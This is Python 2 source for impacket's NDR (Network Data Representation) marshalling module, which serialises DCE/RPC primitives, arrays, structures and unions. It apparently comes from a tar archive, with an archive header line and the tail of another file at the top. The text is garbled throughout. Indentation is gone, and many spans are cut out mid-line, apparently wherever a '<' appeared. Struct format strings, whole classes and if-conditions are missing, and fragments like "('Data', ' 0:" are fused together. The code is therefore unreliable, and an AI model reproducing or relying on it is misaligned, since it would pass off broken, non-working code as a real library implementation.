request['authn_proto'] = authn_proto
request['princ_name_size'] = princ_name_size
return dce.request(request, checkError=False)
impacket-0.9.15/impacket/dcerpc/v5/ndr.py 0000600 0000765 0000000 00000213212 12734531507 020176 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# [C706] Transfer NDR Syntax implementation
#
# Author: Alberto Solino (@agsolino)
#
# ToDo:
# [X] Unions and rest of the structured types
# [ ] Documentation for this library, especially the support for Arrays
#
import random
import inspect
from struct import pack, unpack, calcsize
from impacket import LOG
from impacket.winregistry import hexdump
from impacket.dcerpc.v5.enum import Enum
from impacket.uuid import uuidtup_to_bin
# Something important to have in mind:
# Diagrams do not depict the specified alignment gaps, which can appear in the octet stream
# before an item (see Section 14.2.2 on page 620.)
# Where necessary, an alignment gap, consisting of octets of unspecified value, *precedes* the
# representation of a primitive. The gap is of the smallest size sufficient to align the primitive
class NDR(object):
"""
This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type
"""
referent = ()
commonHdr = ()
commonHdr64 = ()
structure = ()
structure64 = ()
align = 4
item = None
_isNDR64 = False
def __init__(self, data = None, isNDR64 = False):
object.__init__(self)
self._isNDR64 = isNDR64
self.fields = {}
if isNDR64 is True:
if self.commonHdr64 != ():
self.commonHdr = self.commonHdr64
if self.structure64 != ():
self.structure = self.structure64
if hasattr(self, 'align64'):
self.align = self.align64
for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:
if self.isNDR(fieldTypeOrClass):
self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)
elif fieldTypeOrClass == ':':
self.fields[fieldName] = ''
elif len(fieldTypeOrClass.split('=')) == 2:
try:
self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1])
except:
self.fields[fieldName] = None
else:
self.fields[fieldName] = []
if data is not None:
self.fromString(data)
def changeTransferSyntax(self, newSyntax):
NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
if newSyntax == NDR64Syntax:
if self._isNDR64 is False:
# Ok, let's change everything
self._isNDR64 = True
for fieldName in self.fields.keys():
if isinstance(self.fields[fieldName], NDR):
self.fields[fieldName].changeTransferSyntax(newSyntax)
# Finally, I change myself
if self.commonHdr64 != ():
self.commonHdr = self.commonHdr64
if self.structure64 != ():
self.structure = self.structure64
if hasattr(self, 'align64'):
self.align = self.align64
# And check whether the changes changed the data types
# if so, I need to instantiate the new ones and copy the
# old values
for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:
if isinstance(self.fields[fieldName], NDR):
if fieldTypeOrClass != self.fields[fieldName].__class__ and isinstance(self.fields[fieldName], NDRPOINTERNULL) is False:
backupData = self[fieldName]
self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)
if self.fields[fieldName].fields.has_key('Data'):
self.fields[fieldName].fields['Data'] = backupData
else:
self[fieldName] = backupData
else:
if self._isNDR64 is True:
# Ok, nothing for now
raise
def __setitem__(self, key, value):
if isinstance(value, NDRPOINTERNULL):
value = NDRPOINTERNULL(isNDR64 = self._isNDR64)
if isinstance(self.fields[key], NDRPOINTER):
self.fields[key] = value
elif self.fields[key].fields.has_key('Data'):
if isinstance(self.fields[key].fields['Data'], NDRPOINTER):
self.fields[key].fields['Data'] = value
elif isinstance(value, NDR):
# It's not a null pointer, ok. Another NDR type, but it
# must be the same same as the iteam already in place
if self.fields[key].__class__.__name__ == value.__class__.__name__:
self.fields[key] = value
elif isinstance(self.fields[key]['Data'], NDR):
if self.fields[key]['Data'].__class__.__name__ == value.__class__.__name__:
self.fields[key]['Data'] = value
else:
LOG.error("Can't setitem with class specified, should be %s" % self.fields[key]['Data'].__class__.__name__)
else:
LOG.error("Can't setitem with class specified, should be %s" % self.fields[key].__class__.__name__)
elif isinstance(self.fields[key], NDR):
self.fields[key]['Data'] = value
else:
self.fields[key] = value
def __getitem__(self, key):
if isinstance(self.fields[key], NDR):
if self.fields[key].fields.has_key('Data'):
return self.fields[key]['Data']
return self.fields[key]
def __str__(self):
return self.getData()
def __len__(self):
# XXX: improve
return len(self.getData())
def getDataLen(self, data):
return len(data)
@staticmethod
def isNDR(field):
if inspect.isclass(field):
myClass = field
if issubclass(myClass, NDR):
return True
return False
def dumpRaw(self, msg = None, indent = 0):
if msg is None: msg = self.__class__.__name__
ind = ' '*indent
print "\n%s" % msg
for field in self.commonHdr+self.structure+self.referent:
i = field[0]
if i in self.fields:
if isinstance(self.fields[i], NDR):
self.fields[i].dumpRaw('%s%s:{' % (ind,i), indent = indent + 4)
print "%s}" % ind
elif isinstance(self.fields[i], list):
print "%s[" % ind
for num,j in enumerate(self.fields[i]):
if isinstance(j, NDR):
j.dumpRaw('%s%s:' % (ind,i), indent = indent + 4)
print "%s," % ind
else:
print "%s%s: {%r}," % (ind, i, j)
print "%s]" % ind
else:
print "%s%s: {%r}" % (ind,i,self[i])
def dump(self, msg = None, indent = 0):
if msg is None: msg = self.__class__.__name__
ind = ' '*indent
if msg != '':
print "%s" % msg,
for fieldName, fieldType in self.commonHdr+self.structure+self.referent:
if fieldName in self.fields:
if isinstance(self.fields[fieldName], NDR):
self.fields[fieldName].dump('\n%s%-31s' % (ind, fieldName+':'), indent = indent + 4),
else:
print " %r" % (self[fieldName]),
def getAlignment(self):
return self.align
@staticmethod
def calculatePad(fieldType, soFar):
try:
alignment = calcsize(fieldType.split('=')[0])
except:
alignment = 0
if alignment > 0:
pad = (alignment - (soFar % alignment)) % alignment
else:
pad = 0
return pad
def getData(self, soFar = 0):
data = ''
for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
try:
# Alignment of Primitive Types
# NDR enforces NDR alignment of primitive data; that is, any primitive of size n
# octets is aligned at a octet stream index that is a multiple of n.
# (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates
# the number of an octet in an octet stream when octets are numbered, beginning with 0,
# from the first octet in the stream. Where necessary, an alignment gap, consisting of
# octets of unspecified value, precedes the representation of a primitive. The gap is
# of the smallest size sufficient to align the primitive.
pad = self.calculatePad(fieldTypeOrClass, soFar)
if pad > 0:
soFar += pad
data += '\xbf'*pad
res = self.pack(fieldName, fieldTypeOrClass, soFar)
data += res
soFar += len(res)
except Exception, e:
LOG.error(str(e))
LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
raise
return data
def fromString(self, data, soFar = 0):
soFar0 = soFar
for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
try:
# Alignment of Primitive Types
# NDR enforces NDR alignment of primitive data; that is, any primitive of size n
# octets is aligned at a octet stream index that is a multiple of n.
# (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates
# the number of an octet in an octet stream when octets are numbered, beginning with 0,
# from the first octet in the stream. Where necessary, an alignment gap, consisting of
# octets of unspecified value, precedes the representation of a primitive. The gap is
# of the smallest size sufficient to align the primitive.
pad = self.calculatePad(fieldTypeOrClass, soFar)
if pad > 0:
soFar += pad
data = data[pad:]
size = self.unpack(fieldName, fieldTypeOrClass, data, soFar)
data = data[size:]
soFar += size
except Exception,e:
LOG.error(str(e))
LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256]))
raise
return soFar - soFar0
def pack(self, fieldName, fieldTypeOrClass, soFar = 0):
if isinstance(self.fields[fieldName], NDR):
return self.fields[fieldName].getData(soFar)
data = self.fields[fieldName]
# void specifier
if fieldTypeOrClass[:1] == '_':
return ''
# code specifier
two = fieldTypeOrClass.split('=')
if len(two) >= 2:
try:
return self.pack(fieldName, two[0], soFar)
except:
self.fields[fieldName] = eval(two[1], {}, self.fields)
return self.pack(fieldName, two[0], soFar)
if data is None:
raise Exception('Trying to pack None')
# literal specifier
if fieldTypeOrClass[:1] == ':':
return str(data)
# struct like specifier
return pack(fieldTypeOrClass, data)
def unpack(self, fieldName, fieldTypeOrClass, data, soFar = 0):
size = self.calcUnPackSize(fieldTypeOrClass, data)
data = data[:size]
if isinstance(self.fields[fieldName], NDR):
return self.fields[fieldName].fromString(data, soFar)
# code specifier
two = fieldTypeOrClass.split('=')
if len(two) >= 2:
return self.unpack(fieldName,two[0], data, soFar)
# literal specifier
if fieldTypeOrClass == ':':
if isinstance(fieldTypeOrClass, NDR):
return self.fields[fieldName].fromString(data, soFar)
else:
dataLen = self.getDataLen(data)
self.fields[fieldName] = data[:dataLen]
return dataLen
# struct like specifier
self.fields[fieldName] = unpack(fieldTypeOrClass, data)[0]
return size
def calcPackSize(self, fieldTypeOrClass, data):
if isinstance(fieldTypeOrClass, str) is False:
return len(data)
# code specifier
two = fieldTypeOrClass.split('=')
if len(two) >= 2:
return self.calcPackSize(two[0], data)
# literal specifier
if fieldTypeOrClass[:1] == ':':
return len(data)
# struct like specifier
return calcsize(fieldTypeOrClass)
def calcUnPackSize(self, fieldTypeOrClass, data):
if isinstance(fieldTypeOrClass, str) is False:
return len(data)
# code specifier
two = fieldTypeOrClass.split('=')
if len(two) >= 2:
return self.calcUnPackSize(two[0], data)
# array specifier
two = fieldTypeOrClass.split('*')
if len(two) == 2:
return len(data)
# literal specifier
if fieldTypeOrClass[:1] == ':':
return len(data)
# struct like specifier
return calcsize(fieldTypeOrClass)
# NDR Primitives
class NDRSMALL(NDR):
align = 1
structure = (
('Data', 'b=0'),
)
class NDRUSMALL(NDR):
align = 1
structure = (
('Data', 'B=0'),
)
class NDRBOOLEAN(NDRSMALL):
def dump(self, msg = None, indent = 0):
if msg is None: msg = self.__class__.__name__
if msg != '':
print msg,
if self['Data'] > 0:
print " TRUE"
else:
print " FALSE"
class NDRCHAR(NDR):
align = 1
structure = (
('Data', 'c'),
)
class NDRSHORT(NDR):
align = 2
structure = (
('Data', ' 0:
soFar += pad0
arrayPadding = '\xef'*pad0
else:
arrayPadding = ''
# And now, let's pretend we put the item in
soFar += arrayItemSize
data = self.fields[fieldName].getData(soFar)
data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data
else:
pad = self.calculatePad(fieldTypeOrClass, soFar)
if pad > 0:
soFar += pad
data += '\xcc'*pad
data += self.pack(fieldName, fieldTypeOrClass, soFar)
# Any referent information to pack?
if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):
data += self.fields[fieldName].getDataReferents(soFar0 + len(data))
data += self.fields[fieldName].getDataReferent(soFar0 + len(data))
soFar = soFar0 + len(data)
except Exception, e:
LOG.error(str(e))
LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
raise
return data
def calcPackSize(self, fieldTypeOrClass, data):
if isinstance(fieldTypeOrClass, str) is False:
return len(data)
# array specifier
two = fieldTypeOrClass.split('*')
if len(two) == 2:
answer = 0
for each in data:
if self.isNDR(self.item):
item = ':'
else:
item = self.item
answer += self.calcPackSize(item, each)
return answer
else:
return NDR.calcPackSize(self, fieldTypeOrClass, data)
def getArrayMaximumSize(self, fieldName):
if self.fields[fieldName].fields['MaximumCount'] > 0:
return self.fields[fieldName].fields['MaximumCount']
else:
return self.fields[fieldName].getArraySize()
def getArraySize(self,fieldName, data, soFar):
if self._isNDR64:
arrayItemSize = 8
arrayUnPackStr = ' 0:
soFar += pad0
data = data[pad0:]
if isinstance(self.fields[fieldName], NDRUniConformantArray):
# Array Size is at the very begining
arraySize = unpack(arrayUnPackStr, data[:arrayItemSize])[0]
elif isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):
# NDRUniConformantVaryingArray Array
# Unpack the Maximum Count
maximumCount = unpack(arrayUnPackStr, data[:arrayItemSize])[0]
# Let's store the Maximum Count for later use
self.fields[fieldName].fields['MaximumCount'] = maximumCount
# Unpack the Actual Count
arraySize = unpack(arrayUnPackStr, data[arrayItemSize*2:][:arrayItemSize])[0]
else:
# NDRUniVaryingArray Array
arraySize = unpack(arrayUnPackStr, data[arrayItemSize:][:arrayItemSize])[0]
return arraySize, arrayItemSize+pad0
def fromStringReferents(self, data, soFar = 0):
soFar0 = soFar
for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):
size = self.fields[fieldName].fromStringReferents(data, soFar)
data = data[size:]
soFar += size
size = self.fields[fieldName].fromStringReferent(data, soFar)
soFar += size
data = data[size:]
return soFar - soFar0
def fromStringReferent(self, data, soFar = 0):
if hasattr(self, 'referent') is not True:
return 0
soFar0 = soFar
if self.fields.has_key('ReferentID'):
if self['ReferentID'] == 0:
# NULL Pointer, there's no referent for it
return 0
for fieldName, fieldTypeOrClass in self.referent:
try:
if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):
# Get the array size
arraySize, advanceStream = self.getArraySize(fieldName, data, soFar)
soFar += advanceStream
data = data[advanceStream:]
# Let's tell the array how many items are available
self.fields[fieldName].setArraySize(arraySize)
size = self.fields[fieldName].fromString(data, soFar)
else:
# ToDo: Align only if not NDR
pad = self.calculatePad(fieldTypeOrClass, soFar)
if pad > 0:
soFar += pad
data = data[pad:]
size = self.unpack(fieldName, fieldTypeOrClass, data, soFar)
if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):
size += self.fields[fieldName].fromStringReferents(data[size:], soFar + size)
size += self.fields[fieldName].fromStringReferent(data[size:], soFar + size)
data = data[size:]
soFar += size
except Exception,e:
LOG.error(str(e))
LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256]))
raise
return soFar-soFar0
def calcUnPackSize(self, fieldTypeOrClass, data):
if isinstance(fieldTypeOrClass, str) is False:
return len(data)
two = fieldTypeOrClass.split('*')
if len(two) == 2:
return len(data)
else:
return NDR.calcUnPackSize(self, fieldTypeOrClass, data)
# Uni-dimensional Fixed Arrays
class NDRArray(NDRCONSTRUCTEDTYPE):
def dump(self, msg = None, indent = 0):
if msg is None: msg = self.__class__.__name__
ind = ' '*indent
if msg != '':
print msg,
if isinstance(self['Data'], list):
print "\n%s[" % ind
ind += ' '*4
for num,j in enumerate(self.fields['Data']):
if isinstance(j, NDR):
j.dump('%s' % ind, indent = indent + 4),
print ","
else:
print "%s %r," % (ind,j)
print "%s]" % ind[:-4],
else:
print " %r" % self['Data'],
def setArraySize(self, size):
self.arraySize = size
def getArraySize(self):
return self.arraySize
def changeTransferSyntax(self, newSyntax):
# Here we gotta go over each item in the array and change the TS
# Only if the item type is NDR
if hasattr(self, 'item') and self.item is not None:
if self.isNDR(self.item):
for item in self.fields['Data']:
item.changeTransferSyntax(newSyntax)
return NDRCONSTRUCTEDTYPE.changeTransferSyntax(self, newSyntax)
def getAlignment(self):
# Array alignment is the largest alignment of the array element type and
# the size information type, if any.
align = 0
# And now the item
if hasattr(self, "item") and self.item is not None:
if self.isNDR(self.item):
tmpAlign = self.item().getAlignment()
else:
tmpAlign = self.calcPackSize(self.item, '')
if tmpAlign > align:
align = tmpAlign
return align
def getData(self, soFar = 0):
data = ''
soFar0 = soFar
for fieldName, fieldTypeOrClass in self.structure:
try:
if self.isNDR(fieldTypeOrClass) is False:
# If the item is not NDR (e.g. ('MaximumCount', ' 0:
soFar += pad
data += '\xca'*pad
res = self.pack(fieldName, fieldTypeOrClass, soFar)
data += res
soFar = soFar0 + len(data)
except Exception, e:
LOG.error(str(e))
LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
raise
return data
def pack(self, fieldName, fieldTypeOrClass, soFar = 0):
# array specifier
two = fieldTypeOrClass.split('*')
if len(two) == 2:
answer = ''
if self.isNDR(self.item):
item = ':'
dataClass = self.item
self.fields['_tmpItem'] = dataClass(isNDR64=self._isNDR64)
else:
item = self.item
dataClass = None
self.fields['_tmpItem'] = item
for each in self.fields[fieldName]:
pad = self.calculatePad(self.item, len(answer)+soFar)
if pad > 0:
answer += '\xdd' * pad
if dataClass is None:
answer += pack(item, each)
else:
answer += each.getData(len(answer)+soFar)
if dataClass is not None:
for each in self.fields[fieldName]:
if isinstance(each, NDRCONSTRUCTEDTYPE):
answer += each.getDataReferents(len(answer)+soFar)
answer += each.getDataReferent(len(answer)+soFar)
del(self.fields['_tmpItem'])
if isinstance(self, NDRUniConformantArray) or isinstance(self, NDRUniConformantVaryingArray):
# First field points to a field with the amount of items
self.setArraySize(len(self.fields[fieldName]))
else:
self.fields[two[1]] = len(self.fields[fieldName])
return answer
else:
return NDRCONSTRUCTEDTYPE.pack(self, fieldName, fieldTypeOrClass, soFar)
def fromString(self, data, soFar = 0):
soFar0 = soFar
for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
try:
if self.isNDR(fieldTypeOrClass) is False:
# If the item is not NDR (e.g. ('MaximumCount', ' 0:
soFar += pad
data = data[pad:]
size = self.unpack(fieldName, fieldTypeOrClass, data, soFar)
data = data[size:]
soFar += size
except Exception,e:
LOG.error(str(e))
LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256]))
raise
return soFar - soFar0
def unpack(self, fieldName, fieldTypeOrClass, data, soFar = 0):
# array specifier
two = fieldTypeOrClass.split('*')
answer = []
soFarItems = 0
soFar0 = soFar
if len(two) == 2:
if isinstance(self, NDRUniConformantArray):
# First field points to a field with the amount of items
numItems = self.getArraySize()
elif isinstance(self, NDRUniConformantVaryingArray):
# In this case we have the MaximumCount but it could be different from the ActualCount.
# Let's make the unpack figure this out.
#self.fields['MaximumCount'] = self.getArraySize()
numItems = self[two[1]]
else:
numItems = self[two[1]]
# The item type is determined by self.item
if self.isNDR(self.item):
item = ':'
dataClassOrCode = self.item
self.fields['_tmpItem'] = dataClassOrCode(isNDR64=self._isNDR64)
else:
item = self.item
dataClassOrCode = None
self.fields['_tmpItem'] = item
nsofar = 0
while numItems and soFarItems < len(data):
pad = self.calculatePad(self.item, soFarItems+soFar)
if pad > 0:
soFarItems +=pad
if dataClassOrCode is None:
nsofar = soFarItems + calcsize(item)
answer.append(unpack(item, data[soFarItems:nsofar])[0])
else:
itemn = dataClassOrCode(isNDR64=self._isNDR64)
size = itemn.fromString(data[soFarItems:], soFar+soFarItems)
answer.append(itemn)
nsofar += size + pad
numItems -= 1
soFarItems = nsofar
if dataClassOrCode is not None and isinstance(dataClassOrCode(), NDRCONSTRUCTEDTYPE):
# We gotta go over again, asking for the referents
data = data[soFarItems:]
answer2 = []
for itemn in answer:
size = itemn.fromStringReferents(data, soFarItems+soFar)
soFarItems += size
data = data[size:]
size = itemn.fromStringReferent(data, soFarItems+soFar)
soFarItems += size
data = data[size:]
answer2.append(itemn)
answer = answer2
del answer2
del(self.fields['_tmpItem'])
self.fields[fieldName] = answer
return soFarItems + soFar - soFar0
else:
return NDRCONSTRUCTEDTYPE.unpack(self, fieldName, fieldTypeOrClass, data, soFar)
class NDRUniFixedArray(NDRArray):
structure = (
('Data',':'),
)
# Uni-dimensional Conformant Arrays
class NDRUniConformantArray(NDRArray):
item = 'c'
structure = (
#('MaximumCount', ' 0:
soFar += pad
data += '\xcb'*pad
res = self.pack(fieldName, fieldTypeOrClass, soFar)
data += res
soFar = soFar0 + len(data)
except Exception, e:
LOG.error(str(e))
LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
raise
return data
# Multidimensional arrays not implemented for now
# Varying Strings
class NDRVaryingString(NDRUniVaryingArray):
def getData(self, soFar = 0):
# The last element of a string is a terminator of the same size as the other elements.
# If the string element size is one octet, the terminator is a NULL character.
# The terminator for a string of multi-byte characters is the array element zero (0).
if self["Data"][-1:] != '\x00':
self["Data"] = ''.join(self["Data"]) + '\x00'
return NDRUniVaryingArray.getData(self, soFar)
def fromString(self, data, soFar = 0):
ret = NDRUniVaryingArray.fromString(self,data)
# Let's take out the last item
self["Data"] = self["Data"][:-1]
return ret
# Conformant and Varying Strings
class NDRConformantVaryingString(NDRUniConformantVaryingArray):
pass
# Structures
# Structures Containing a Conformant Array
# Structures Containing a Conformant and Varying Array
class NDRSTRUCT(NDRCONSTRUCTEDTYPE):
def getData(self, soFar = 0):
data = ''
arrayPadding = ''
soFar0 = soFar
# 14.3.7.1 Structures Containing a Conformant Array
# A structure can contain a conformant array only as its last member.
# In the NDR representation of a structure that contains a conformant array,
# the unsigned long integers that give maximum element counts for dimensions of the array
# are moved to the beginning of the structure, and the array elements appear in place at
# the end of the structure.
# 14.3.7.2 Structures Containing a Conformant and Varying Array
# A structure can contain a conformant and varying array only as its last member.
# In the NDR representation of a structure that contains a conformant and varying array,
# the maximum counts for dimensions of the array are moved to the beginning of the structure,
# but the offsets and actual counts remain in place at the end of the structure,
# immediately preceding the array elements
lastItem = (self.commonHdr+self.structure)[-1][0]
if isinstance(self.fields[lastItem], NDRUniConformantArray) or isinstance(self.fields[lastItem], NDRUniConformantVaryingArray):
# So we have an array, first item in the structure must be the array size, although we
# will need to build it later.
if self._isNDR64:
arrayItemSize = 8
arrayPackStr = ' 0:
soFar += pad0
arrayPadding = '\xee'*pad0
else:
arrayPadding = ''
# And now, let's pretend we put the item in
soFar += arrayItemSize
else:
arrayItemSize = 0
# Now we need to align the structure
# The alignment of a structure in the octet stream is the largest of the alignments of the fields it
# contains. These fields may also be constructed types. The same alignment rules apply
# recursively to nested constructed types.
alignment = self.getAlignment()
if alignment > 0:
pad = (alignment - (soFar % alignment)) % alignment
if pad > 0:
soFar += pad
data += '\xAB'*pad
for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
try:
if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):
res = self.fields[fieldName].getData(soFar)
if isinstance(self, NDRPOINTER):
pointerData = data[:arrayItemSize]
data = data[arrayItemSize:]
data = pointerData + arrayPadding + pack(arrayPackStr ,self.getArrayMaximumSize(fieldName)) + data
else:
data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data
arrayPadding = ''
arrayItemSize = 0
else:
res = self.pack(fieldName, fieldTypeOrClass, soFar)
data += res
soFar = soFar0 + len(data) + len(arrayPadding) + arrayItemSize
except Exception, e:
LOG.error(str(e))
LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
raise
# 2.2.5.3.4.1 Structure with Trailing Gap
# NDR64 represents a structure as an ordered sequence of representations of the
# structure members. The trailing gap from the last nonconformant and nonvarying
# field to the alignment of the structure MUST be represented as a trailing pad.
# The size of the structure MUST be a multiple of its alignment.
# See the following figure.
# 4.8 Example of Structure with Trailing Gap in NDR64
# This example shows a structure with a trailing gap in NDR64.
# typedef struct _StructWithPad
# {
# long l;
# short s;
# } StructWithPad;
# The size of the structure in the octet stream MUST contain a 2-byte trailing
# gap to make its size 8, a multiple of the structure's alignment, 4.
# if self._isNDR64 is True:
# # ToDo add trailing gap here
# if alignment > 0:
# pad = (alignment - (soFar % alignment)) % alignment
# if pad > 0:
# soFar += pad
# data += '\xcd'*pad
# print self.__class__ , alignment, pad, hex(soFar)
return data
def fromString(self, data, soFar = 0 ):
soFar0 = soFar
# 14.3.7.1 Structures Containing a Conformant Array
# A structure can contain a conformant array only as its last member.
# In the NDR representation of a structure that contains a conformant array,
# the unsigned long integers that give maximum element counts for dimensions of the array
# are moved to the beginning of the structure, and the array elements appear in place at
# the end of the structure.
# 14.3.7.2 Structures Containing a Conformant and Varying Array
# A structure can contain a conformant and varying array only as its last member.
# In the NDR representation of a structure that contains a conformant and varying array,
# the maximum counts for dimensions of the array are moved to the beginning of the structure,
# but the offsets and actual counts remain in place at the end of the structure,
# immediately preceding the array elements
lastItem = (self.commonHdr+self.structure)[-1][0]
if isinstance(self.fields[lastItem], NDRUniConformantArray) or isinstance(self.fields[lastItem], NDRUniConformantVaryingArray):
# So we have an array, first item in the structure must be the array size, although we
# will need to build it later.
if self._isNDR64:
arrayItemSize = 8
else:
arrayItemSize = 4
# The size information is itself aligned according to the alignment rules for
# primitive data types. (See Section 14.2.2 on page 620.) The data of the constructed
# type is then aligned according to the alignment rules for the constructed type.
# In other words, the size information precedes the structure and is aligned
# independently of the structure alignment.
# We need to check whether we need padding or not
pad0 = (arrayItemSize - (soFar % arrayItemSize)) % arrayItemSize
if pad0 > 0:
soFar += pad0
data = data[pad0:]
# And now, let's pretend we put the item in
soFar += arrayItemSize
# And let's extract the array size for later use, if it is a pointer, it is after the referent ID
if isinstance(self, NDRPOINTER):
# ToDo: Check if we have to align the arrayItemSize
# I guess is it aligned since the NDRPOINTER is aligned already
pointerData = data[:arrayItemSize]
arraySize, advanceStream = self.getArraySize(lastItem, data[arrayItemSize:], soFar+arrayItemSize)
data = pointerData + data[arrayItemSize*2:]
else:
arraySize, advanceStream = self.getArraySize(lastItem, data, soFar)
data = data[arrayItemSize:]
# Let's tell the array how many items are available
self.fields[lastItem].setArraySize(arraySize)
# Now we need to align the structure
# The alignment of a structure in the octet stream is the largest of the alignments of the fields it
# contains. These fields may also be constructed types. The same alignment rules apply
# recursively to nested constructed types.
alignment = self.getAlignment()
if alignment > 0:
pad = (alignment - (soFar % alignment)) % alignment
if pad > 0:
soFar += pad
data = data[pad:]
for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:
try:
size = self.unpack(fieldName, fieldTypeOrClass, data, soFar)
data = data[size:]
soFar += size
except Exception,e:
LOG.error(str(e))
LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256]))
raise
return soFar - soFar0
def getAlignment(self):
# Alignment of Constructed Types
#
# NDR enforces NDR alignment of structured data. As with primitive data types, an alignment, n, is determined
# for the structure. Where necessary, an alignment gap of octets of unspecified value precedes the data in
# the NDR octet stream. This gap is the smallest size sufficient to align the first field of the structure
# on an NDR octet stream index of n.
# The rules for calculating the alignment of constructed types are as follows:
# 1) If a conformant structure-that is, a conformant or conformant varying array, or a structure containing
# a conformant or conformant varying array-is embedded in the constructed type, and is the outermost
# structure-that is, is not contained in another structure-then the size information from the contained
# conformant structure is positioned so that it precedes both the containing constructed type and any
# alignment gap for the constructed type. (See Section 14.3.7 for information about structures containing
# arrays.) The size information is itself aligned according to the alignment rules for primitive data
# types. (See Section 14.2.2 on page 620.) The data of the constructed type is then aligned according to
# the alignment rules for the constructed type. In other words, the size information precedes the structure
# and is aligned independently of the structure alignment.
# 2) The alignment of a structure in the octet stream is the largest of the alignments of the fields it
# contains. These fields may also be constructed types. The same alignment rules apply recursively to nested
# constructed types.
align = 0
for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:
if isinstance(self.fields[fieldName], NDR):
tmpAlign = self.fields[fieldName].getAlignment()
else:
tmpAlign = self.calcPackSize(fieldTypeOrClass, '')
if tmpAlign > align:
align = tmpAlign
return align
# Unions
class NDRUNION(NDRCONSTRUCTEDTYPE):
commonHdr = (
('tag', NDRUSHORT),
)
commonHdr64 = (
('tag', NDRULONG),
)
union = {
# For example
#1: ('pStatusChangeParam1', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1),
#2: ('pStatusChangeParams', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2),
}
def __init__(self, data = None, isNDR64=False, topLevel = False):
#ret = NDR.__init__(self,None, isNDR64=isNDR64)
self.topLevel = topLevel
self._isNDR64 = isNDR64
self.fields = {}
if isNDR64 is True:
if self.commonHdr64 != ():
self.commonHdr = self.commonHdr64
if self.structure64 != ():
self.structure = self.structure64
if hasattr(self, 'align64'):
self.align = self.align64
for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:
if self.isNDR(fieldTypeOrClass):
if self.isPointer(fieldTypeOrClass):
self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64, topLevel = topLevel)
elif self.isUnion(fieldTypeOrClass):
self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64, topLevel = topLevel)
else:
self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)
elif fieldTypeOrClass == ':':
self.fields[fieldName] = None
elif len(fieldTypeOrClass.split('=')) == 2:
try:
self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1])
except:
self.fields[fieldName] = None
else:
self.fields[fieldName] = 0
if data is not None:
self.fromString(data)
def __setitem__(self, key, value):
if key == 'tag':
# We're writing the tag, we now should set the right item for the structure
self.structure = ()
if self.union.has_key(value):
self.structure = (self.union[value]),
# Init again the structure
self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)
self.fields['tag']['Data'] = value
else:
# Let's see if we have a default value
if self.union.has_key('default'):
if self.union['default'] is None:
self.structure = ()
else:
self.structure = (self.union['default']),
# Init again the structure
self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)
self.fields['tag']['Data'] = 0xffff
else:
raise Exception("Unknown tag %d for union!" % value)
else:
return NDRCONSTRUCTEDTYPE.__setitem__(self,key,value)
def getData(self, soFar = 0):
data = ''
soFar0 = soFar
# Let's align ourselves
alignment = self.getAlignment()
if alignment > 0:
pad = (alignment - (soFar % alignment)) % alignment
else:
pad = 0
if pad > 0:
soFar += pad
data += '\xbc'*pad
for fieldName, fieldTypeOrClass in self.commonHdr:
try:
pad = self.calculatePad(fieldTypeOrClass, soFar)
if pad > 0:
soFar += pad
data += '\xbb'*pad
res = self.pack(fieldName, fieldTypeOrClass, soFar)
data += res
soFar = soFar0 + len(data)
except Exception, e:
LOG.error(str(e))
LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__))
raise
# WARNING
# Now we need to align what's coming next.
# This doesn't come from the documentation but from seeing the packets in the wire
# for some reason, even if the next field is a SHORT, it should be aligned to
# a DWORD, or HYPER if NDR64.
if self._isNDR64:
align = 8
else:
